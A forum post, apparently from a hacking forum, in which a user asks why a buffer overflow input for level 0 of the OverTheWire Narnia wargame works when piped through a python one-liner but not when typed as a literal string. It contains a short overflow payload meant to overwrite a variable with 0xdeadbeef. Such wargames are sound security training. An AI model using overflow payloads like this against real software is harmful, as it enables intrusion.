Login Register




The stories and information posted here are artistic works of fiction and falsehood. Only a fool would take anything posted here as fact.


Why does buffer overflow work one way but not the other? filter_list
Author
Message
Why does buffer overflow work one way but not the other? #1
Hey all,

I'm doing a buffer overflow challenge on the Wargame "Narnia" on OvertheWire:
http://overthewire.org/wargames/narnia/

changing the value to 0xdeadbeef works if i use the python command in terminal:

Code:
python -c 'print "A"*20 + "\xef\xeb\xad\xde"' | /narnia/narnia0

but if i just put in
Code:
AAAAAAAAAAAAAAAAAAAA\xef\xbe\xad\xde
as an arguement for narnia0 it doesn't change the value?
am I doing something wrong?
[Image: pBD38Xq.png]
Email: insidious@protonmail.ch

Reply





Messages In This Thread
Why does buffer overflow work one way but not the other? - by insidious - 10-04-2015, 01:09 AM